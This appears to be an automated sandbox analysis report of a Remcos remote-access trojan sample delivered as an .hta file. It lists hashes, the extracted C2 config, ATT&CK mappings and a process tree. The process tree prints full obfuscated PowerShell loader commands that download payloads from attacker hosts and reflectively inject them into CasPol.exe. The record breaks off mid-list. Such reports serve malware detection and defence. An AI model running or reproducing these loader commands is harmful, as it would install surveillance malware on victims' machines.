remcos | 741297ecc59d39296f360b100032cdb120af2eb4ccc5b91f370c0eacb9ee7e25

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
26-11-2024 08:24

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General

Target

sweetbabygivenbestthignsetnirelifegivenbackbestthignsalways.hta
Size

599KB
MD5

5a9dc05899d1a19be638824e5f47b88e
SHA1

418e5c2cfc4ba40069bbcbc7373e9ff0b71740f2
SHA256

741297ecc59d39296f360b100032cdb120af2eb4ccc5b91f370c0eacb9ee7e25
SHA512

0772c9718b79ccff96ed8631ad22d117876c1cb5f1b9313494051e52a63b8f360d8f5fc81beaee296e120a873e99414818bb36db6bf795dfe99d54b3f47f4d7e
SSDEEP

192:4dE6COljVneLyZXcFeLyZXcEeLyZXc/Czt4kQ:b6COljV+zO7

Score

10^/10

remcos remotehost defense_evasion discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3105.filemail.com/api/file/get?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-dviTK5cARaNdQjbb3mexfwQzKmTXg&skipreg=true&pk_vid=e0109638c9bfb9571732531309b5ff7c

exe.dropper

https://3105.filemail.com/api/file/get?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-dviTK5cARaNdQjbb3mexfwQzKmTXg&skipreg=true&pk_vid=e0109638c9bfb9571732531309b5ff7c

Extracted

Family

remcos

Botnet

RemoteHost

nextnewupdationsforu.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-EC111K
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos
Blocklisted process makes network request 3 IoCs

Processes:

POwersheLL.exEpowershell.exe

flow pid process

17 1220 POwersheLL.exE
24 1480 powershell.exe
39 1480 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

404 powershell.exe
1480 powershell.exe
Evasion via Device Credential Deployment 2 IoCs
defense_evasion execution

Processes:

POwersheLL.exEpowershell.exe

pid process

1220 POwersheLL.exE
4300 powershell.exe

flow	pid	process
17	1220	POwersheLL.exE
24	1480	powershell.exe
39	1480	powershell.exe

pid	process
404	powershell.exe
1480	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mshta.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1480 set thread context of 4500 1480 powershell.exe CasPol.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 1480 set thread context of 4500	1480	powershell.exe	CasPol.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

mshta.execsc.execvtres.exeWScript.exeCasPol.exePOwersheLL.exEpowershell.exepowershell.exepowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POwersheLL.exE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry class 1 IoCs

Processes:

POwersheLL.exE

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings POwersheLL.exE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	POwersheLL.exE

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

POwersheLL.exEpowershell.exepowershell.exepowershell.exe

pid	process
1220	POwersheLL.exE
1220	POwersheLL.exE
4300	powershell.exe
4300	powershell.exe
404	powershell.exe
404	powershell.exe
1480	powershell.exe
1480	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

POwersheLL.exEpowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1220	POwersheLL.exE
Token: SeDebugPrivilege	4300	powershell.exe
Token: SeDebugPrivilege	404	powershell.exe
Token: SeDebugPrivilege	1480	powershell.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

mshta.exePOwersheLL.exEcsc.exeWScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 3312 wrote to memory of 1220	3312	mshta.exe	POwersheLL.exE
PID 3312 wrote to memory of 1220	3312	mshta.exe	POwersheLL.exE
PID 3312 wrote to memory of 1220	3312	mshta.exe	POwersheLL.exE
PID 1220 wrote to memory of 4300	1220	POwersheLL.exE	powershell.exe
PID 1220 wrote to memory of 4300	1220	POwersheLL.exE	powershell.exe
PID 1220 wrote to memory of 4300	1220	POwersheLL.exE	powershell.exe
PID 1220 wrote to memory of 1812	1220	POwersheLL.exE	csc.exe
PID 1220 wrote to memory of 1812	1220	POwersheLL.exE	csc.exe
PID 1220 wrote to memory of 1812	1220	POwersheLL.exE	csc.exe
PID 1812 wrote to memory of 2656	1812	csc.exe	cvtres.exe
PID 1812 wrote to memory of 2656	1812	csc.exe	cvtres.exe
PID 1812 wrote to memory of 2656	1812	csc.exe	cvtres.exe
PID 1220 wrote to memory of 3640	1220	POwersheLL.exE	WScript.exe
PID 1220 wrote to memory of 3640	1220	POwersheLL.exE	WScript.exe
PID 1220 wrote to memory of 3640	1220	POwersheLL.exE	WScript.exe
PID 3640 wrote to memory of 404	3640	WScript.exe	powershell.exe
PID 3640 wrote to memory of 404	3640	WScript.exe	powershell.exe
PID 3640 wrote to memory of 404	3640	WScript.exe	powershell.exe
PID 404 wrote to memory of 1480	404	powershell.exe	powershell.exe
PID 404 wrote to memory of 1480	404	powershell.exe	powershell.exe
PID 404 wrote to memory of 1480	404	powershell.exe	powershell.exe
PID 1480 wrote to memory of 4500	1480	powershell.exe	CasPol.exe
PID 1480 wrote to memory of 4500	1480	powershell.exe	CasPol.exe
PID 1480 wrote to memory of 4500	1480	powershell.exe	CasPol.exe
PID 1480 wrote to memory of 4500	1480	powershell.exe	CasPol.exe
PID 1480 wrote to memory of 4500	1480	powershell.exe	CasPol.exe
PID 1480 wrote to memory of 4500	1480	powershell.exe	CasPol.exe
PID 1480 wrote to memory of 4500	1480	powershell.exe	CasPol.exe
PID 1480 wrote to memory of 4500	1480	powershell.exe	CasPol.exe
PID 1480 wrote to memory of 4500	1480	powershell.exe	CasPol.exe
PID 1480 wrote to memory of 4500	1480	powershell.exe	CasPol.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\sweetbabygivenbestthignsetnirelifegivenbackbestthignsalways.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3312
- C:\Windows\SysWOW64\WInDowSpoWeRShell\V1.0\POwersheLL.exE
  "C:\Windows\sysTEm32\WInDowSpoWeRShell\V1.0\POwersheLL.exE" "powErsHEll.eXE -EX BYpaSs -noP -W 1 -C dEViCEcReDEntIaLDEployMENt ; IeX($(iEX('[SYsTem.tExT.EnCoDINg]'+[ChAR]0x3a+[ChaR]0x3a+'utF8.GeTSTrING([SystEM.cOnvERt]'+[CHAR]0x3a+[cHAR]58+'FrOMbASe64STrING('+[CHAr]34+'JFM1UFpiNiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1iZVJERUZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1PTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhwSGhsTndBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRSdEdKUEJ0ZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaEFVYVRQUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjTWFReEFTWWhsSyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInhaQm5VRSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRXNQYWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NzVWlPTklmICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTNVBaYjY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xMDQuMTY4LjQ2LjI2LzE0MjIvYmVzdG9mdGhpbmdzd2l0aGVudGlyZXRpbWVnaXZlbmVic3R0aGlnbnN0b2Rvd2l0aGdyZWF0LnRJRiIsIiRFblY6QVBQREFUQVxiZXN0b2Z0aGluZ3N3aXRoZW50aXJldGltZWdpdmVuZWJzdHRoaWduc3RvZG93aXRoZy52QnMiLDAsMCk7U3RhclQtc2xFRVAoMyk7SWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXGJlc3RvZnRoaW5nc3dpdGhlbnRpcmV0aW1lZ2l2ZW5lYnN0dGhpZ25zdG9kb3dpdGhnLnZCcyI='+[cHaR]0x22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1220
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpaSs -noP -W 1 -C dEViCEcReDEntIaLDEployMENt
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4300
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u04zz4fr\u04zz4fr.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1812
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBD35.tmp" "c:\Users\Admin\AppData\Local\Temp\u04zz4fr\CSC377748FF1CF4740B43B7A31ABD35763.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2656
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\bestofthingswithentiretimegivenebstthignstodowithg.vBs"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3640
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnMmtkaW1hZycrJ2VVcmwgPSBlQzRodHRwczovLzMxMDUuZmlsZW1haWwuY29tL2FwaS9maWxlLycrJ2dldD9maWxla2V5PXMnKydoVFBIYkNQWDhvLWxPdENxSExHNl8weEN5LXhsNHRueGxBVmJROTUtJysnZHZpVEs1Y0FSYU5kUWpiYjNtZXhmd1F6S21UWGcmc2tpcHJlZz10cnVlJnBrX3ZpZD1lMDEwOTYzOGM5YmZiOTU3MTczMjUzMTMwOWI1ZmY3YyBlQzQ7Mmtkd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsya2RpbWFnZUJ5dGVzID0gMmtkd2ViQ2xpZW50LkRvdycrJ24nKydsb2FkRGF0YSgya2RpbWFnZVVybCk7MmtkaW1hZ2VUZXh0ID0gJysnW1N5c3RlbS5UZScrJ3h0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoMmtkaW1hZ2VCeXRlcycrJyk7Mmtkc3RhcnRGbGFnID0gZUM0PDxCQVNFNjRfU1RBUlQ+PmVDJysnNDsya2RlbmRGbGFnID0gZUM0PDxCQVNFNjRfRU5EPj5lQzQ7Mmtkc3RhcnRJbmRleCA9IDJrZGltYWdlVGV4dC5JbmRleE9mKDJrZHN0YXJ0RmxhZyk7MmtkZScrJ24nKydkSW5kZXggPSAya2RpbWFnZVRleHQuSW5kZXgnKydPZigya2RlbmRGbGEnKydnKTsya2RzdGFydEluZGV4IC1nZSAwIC1hbmQgMmtkZW5kSW5kZXggLWd0IDJrZHN0YXInKyd0SW5kZXg7Mmtkc3RhcnRJbmRleCArPSAya2RzdGFydEZsYWcuTGVuZ3QnKydoOzJrZGJhc2U2NExlbmd0aCA9IDJrZGVuZEluZGV4IC0gMmtkc3RhcnRJbmRleDsya2RiYXNlNjRDb21tYW5kID0gMmsnKydkaW1hZ2VUJysnZXh0LlN1YnN0cmluZygya2RzdGFydEluZGV4LCAya2RiYXNlNjRMZW5ndGgpOzJrZGJhc2U2NFJlJysndmVyc2VkID0gLWpvaW4gKDJrZGJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBzeVYgRm9yRWFjaC1PYmplY3QgeyAya2RfIH0pWy0xLi4tKDJrZGJhc2U2NENvbW1hbmQuTGVuZ3RoKV07MmtkY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhcycrJ2U2NFN0cmluZygya2RiYXNlNjRSZXZlcnNlZCk7MmtkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKDJrZGNvbW1hbmRCeXRlcyk7MmtkdmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChlQzRWQUllQzQpOzJrZHZhaU1ldGhvZC5JbnZva2UoJysnMmtkbnVsbCwgQChlQzR0eHQuRkdWR0ZSLzIyNDEvNjIuNjQuOCcrJzYxLjQwMS8vOnB0dGhlQzQsIGVDNGRlc2F0aXZhZG9lQzQsIGVDNGRlc2F0aXZhZG9lQzQsIGVDNGRlc2F0aXZhZG9lQzQsJysnIGVDNENhc1BvbGVDNCwgZUM0ZGVzYXRpdmFkb2VDNCwgZUM0ZGVzYXRpdmFkb2VDNCxlQycrJzRkZXNhdGl2YWRvJysnZUM0LGVDNGRlc2F0aScrJ3ZhZG9lQzQsZUM0ZGVzYXRpdmFkb2VDNCxlQzRkZXNhdGl2YWRvZUM0LGVDNGRlc2F0aXZhZG9lQycrJzQsZUM0MWVDNCxlQzRkZXNhdGl2YWRvZUM0KSk7JykgIC1jcmVwbEFDZSAgKFtjaEFSXTExNStbY2hBUl0xMjErW2NoQVJdODYpLFtjaEFSXTEyNCAgLVJlUExBY2UgIChbY2hBUl01MCtbY2hBUl0xMDcrW2NoQVJdMTAwKSxbY2hBUl0zNiAtY3JlcGxBQ2UnZUM0JyxbY2hBUl0zOSl8IC4oKGd2ICcqTURyKicpLk5BTWVbMywxMSwyXS1qT2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:404
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('2kdimag'+'eUrl = eC4https://3105.filemail.com/api/file/'+'get?filekey=s'+'hTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-'+'dviTK5cARaNdQjbb3mexfwQzKmTXg&skipreg=true&pk_vid=e0109638c9bfb9571732531309b5ff7c eC4;2kdwebClient = New-Object System.Net.WebClient;2kdimageBytes = 2kdwebClient.Dow'+'n'+'loadData(2kdimageUrl);2kdimageText = '+'[System.Te'+'xt.Encoding]::UTF8.GetString(2kdimageBytes'+');2kdstartFlag = eC4<<BASE64_START>>eC'+'4;2kdendFlag = eC4<<BASE64_END>>eC4;2kdstartIndex = 2kdimageText.IndexOf(2kdstartFlag);2kde'+'n'+'dIndex = 2kdimageText.Index'+'Of(2kdendFla'+'g);2kdstartIndex -ge 0 -and 2kdendIndex -gt 2kdstar'+'tIndex;2kdstartIndex += 2kdstartFlag.Lengt'+'h;2kdbase64Length = 2kdendIndex - 2kdstartIndex;2kdbase64Command = 2k'+'dimageT'+'ext.Substring(2kdstartIndex, 2kdbase64Length);2kdbase64Re'+'versed = -join (2kdbase64Command.ToCharArray() syV ForEach-Object { 2kd_ })[-1..-(2kdbase64Command.Length)];2kdcommandBytes = [System.Convert]::FromBas'+'e64String(2kdbase64Reversed);2kdloadedAssembly = [System.Reflection.Assembly]::Load(2kdcommandBytes);2kdvaiMethod = [dnlib.IO.Home].GetMethod(eC4VAIeC4);2kdvaiMethod.Invoke('+'2kdnull, @(eC4txt.FGVGFR/2241/62.64.8'+'61.401//:pttheC4, eC4desativadoeC4, eC4desativadoeC4, eC4desativadoeC4,'+' eC4CasPoleC4, eC4desativadoeC4, eC4desativadoeC4,eC'+'4desativado'+'eC4,eC4desati'+'vadoeC4,eC4desativadoeC4,eC4desativadoeC4,eC4desativadoeC'+'4,eC41eC4,eC4desativadoeC4));') -creplACe ([chAR]115+[chAR]121+[chAR]86),[chAR]124 -RePLAce ([chAR]50+[chAR]107+[chAR]100),[chAR]36 -creplACe'eC4',[chAR]39)| .((gv '*MDr*').NAMe[3,11,2]-jOiN'')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1480
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POwersheLL.exE.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
2e310b6f2840a9e00ff628e8b31a3e10

SHA1
7ea44180229dc1e61dd804438f5f533f0ee0b4b7

SHA256
3c5623d9cd84e5dba7920dcfa35a1fc224d3c3a5b334712151c89326b1188634

SHA512
beb84ef1959f5bb156febd85b2fdaa046ab830b260ca74be6d9ba64ea96d322194cde4e8eb5ba958805cbd933ba4e952bb927d5f9c2515670da2aa05fa346fad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
4c9d88517a0bbe8c4063178de19b5913

SHA1
72be6cc9def9edaddfd22d38c9f582fe242ccea2

SHA256
9e4d753c962736f9ad7dd0b918e18fe504db1cafbeada835b820f400a2d47934

SHA512
a314397757ccd859e523241f44f495e5933d1089a46be4c8345fe8d485a8d88e6ccdd157f3adbe8fdb084da820ae52f290a7578a1360847c0e45e36e42e6ab0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBD35.tmp

Filesize
1KB

MD5
628d733bdeecd36da561f4d3cd82f09d

SHA1
2488b7676d6a24ec4a8b2e86ed5480830c8ee096

SHA256
3a527acb27c00c4d3a3fbe085acd23761fef605ec1a63521402bc1060088bf61

SHA512
dffbd545641ef8d7bad542156f593d049de1a02c24edd0b68ad423f72b5569831f9efc51661f8ff0173837cfdc044471d2cffc959d2a216b5fa439e0bfb4f889

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xdoocnyj.br4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\u04zz4fr\u04zz4fr.dll

Filesize
3KB

MD5
8585e5fce417d71f2f41580badb0e706

SHA1
45f34f3092890f0f89aefda971044ad6d2c90496

SHA256
c755c755e750a41eca81824d63287aa695d67f48cca925bf27c60575eec5300e

SHA512
f77b7d082084014775769ed9264c401b9f6acc1095c29087714d40815260c39b5f0246a4c0d0566559d57d94d600b0d9bb6f3a41a9cdc9e651ce22e2bb6ce7c7

Download Submit
C:\Users\Admin\AppData\Roaming\bestofthingswithentiretimegivenebstthignstodowithg.vBs

Filesize
162KB

MD5
8ba4e1dcc487bd110b4bcd41e7ee2ba5

SHA1
1881afff1eb946fdb3ee62133ca43d0bc136ac37

SHA256
4bcb2f9b3a929bd940484218ef0a8c03842480a15bd8a3c4521f5097bd89d581

SHA512
006b7dcfdb7ee27ca1e6aa536c2399321966ffc3b82bc0f86470614345b6e0a2a1ed1d7a143c500669fba375f9706cff8ed421502df7f12f49c3260dc5a8bde4

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\u04zz4fr\CSC377748FF1CF4740B43B7A31ABD35763.TMP

Filesize
652B

MD5
ad1262617c6470d532c54f1076298dbf

SHA1
2b303405ac9d49d2829003e1d61515830e5a1b02

SHA256
cadc383966e89686d3442a369f88136697efa34939b7a2051e534c0013a276ba

SHA512
1f7cea62d7479a5394439ac373580e3dd7796e1b51aa034b0d21ec4a307b52dd54b1f46098a4381c105cb5548ca1ce6d3a4b1538c3681d939d4a07e9ac7e1f4d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\u04zz4fr\u04zz4fr.0.cs

Filesize
488B

MD5
df59540f8edd52a40245b77825076b5c

SHA1
101a773a82eef36b277291d6e450d4984136b176

SHA256
041ed2f3f184dd53c0b2bacbe7e55a05a747a3ed1aa2cab0e8c93e9ab25a121f

SHA512
790e1139eab1d895386730743ea05b591820178b76fec615acab192ad8d2c5960703cebc2c6f4efc8158020506f35cb69ae6545c649e3d87b74845fbc2ec1990

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\u04zz4fr\u04zz4fr.cmdline

Filesize
369B

MD5
6b19ad13178744d3b9f2909193fbaaa9

SHA1
4aebc2e982eb1533973b848f47e02cde8d2b3266

SHA256
cb7650c9c8df97c137c408de57633a1a3ee4a507e41402c5047fa82b8aca7e77

SHA512
7cb7e156d61ef46daaa6cf87605bb040a3ba9d22bd6db3a30332b6bbb5c06690eaf99b01588813b3376c81fff5b0b8a5f14081acaae6866112aad79411c6523f

Download Submit
memory/404-86-0x0000000005E00000-0x0000000006154000-memory.dmp

Filesize
3.3MB

Download
memory/1220-70-0x0000000070DEE000-0x0000000070DEF000-memory.dmp

Filesize
4KB

Download
memory/1220-73-0x0000000008110000-0x00000000086B4000-memory.dmp

Filesize
5.6MB

Download
memory/1220-0-0x0000000070DEE000-0x0000000070DEF000-memory.dmp

Filesize
4KB

Download
memory/1220-1-0x0000000002580000-0x00000000025B6000-memory.dmp

Filesize
216KB

Download
memory/1220-80-0x0000000070DE0000-0x0000000071590000-memory.dmp

Filesize
7.7MB

Download
memory/1220-3-0x0000000004FF0000-0x0000000005618000-memory.dmp

Filesize
6.2MB

Download
memory/1220-2-0x0000000070DE0000-0x0000000071590000-memory.dmp

Filesize
7.7MB

Download
memory/1220-4-0x0000000005620000-0x0000000005642000-memory.dmp

Filesize
136KB

Download
memory/1220-72-0x0000000007260000-0x0000000007282000-memory.dmp

Filesize
136KB

Download
memory/1220-71-0x0000000070DE0000-0x0000000071590000-memory.dmp

Filesize
7.7MB

Download
memory/1220-5-0x0000000005780000-0x00000000057E6000-memory.dmp

Filesize
408KB

Download
memory/1220-64-0x0000000006460000-0x0000000006468000-memory.dmp

Filesize
32KB

Download
memory/1220-6-0x0000000005860000-0x00000000058C6000-memory.dmp

Filesize
408KB

Download
memory/1220-16-0x00000000059E0000-0x0000000005D34000-memory.dmp

Filesize
3.3MB

Download
memory/1220-18-0x0000000005EE0000-0x0000000005F2C000-memory.dmp

Filesize
304KB

Download
memory/1220-17-0x0000000005E80000-0x0000000005E9E000-memory.dmp

Filesize
120KB

Download
memory/1480-102-0x0000000007160000-0x00000000072B8000-memory.dmp

Filesize
1.3MB

Download
memory/1480-103-0x0000000007360000-0x00000000073FC000-memory.dmp

Filesize
624KB

Download
memory/4300-29-0x000000006D6A0000-0x000000006D6EC000-memory.dmp

Filesize
304KB

Download
memory/4300-47-0x0000000007690000-0x00000000076A4000-memory.dmp

Filesize
80KB

Download
memory/4300-46-0x0000000007680000-0x000000000768E000-memory.dmp

Filesize
56KB

Download
memory/4300-45-0x0000000007650000-0x0000000007661000-memory.dmp

Filesize
68KB

Download
memory/4300-28-0x00000000070D0000-0x0000000007102000-memory.dmp

Filesize
200KB

Download
memory/4300-44-0x00000000076D0000-0x0000000007766000-memory.dmp

Filesize
600KB

Download
memory/4300-43-0x00000000074C0000-0x00000000074CA000-memory.dmp

Filesize
40KB

Download
memory/4300-42-0x0000000007450000-0x000000000746A000-memory.dmp

Filesize
104KB

Download
memory/4300-41-0x0000000007AA0000-0x000000000811A000-memory.dmp

Filesize
6.5MB

Download
memory/4300-40-0x0000000007120000-0x00000000071C3000-memory.dmp

Filesize
652KB

Download
memory/4300-48-0x0000000007790000-0x00000000077AA000-memory.dmp

Filesize
104KB

Download
memory/4300-49-0x0000000007770000-0x0000000007778000-memory.dmp

Filesize
32KB

Download
memory/4300-39-0x00000000070B0000-0x00000000070CE000-memory.dmp

Filesize
120KB

Download
memory/4500-117-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4500-138-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4500-105-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4500-110-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4500-111-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4500-112-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
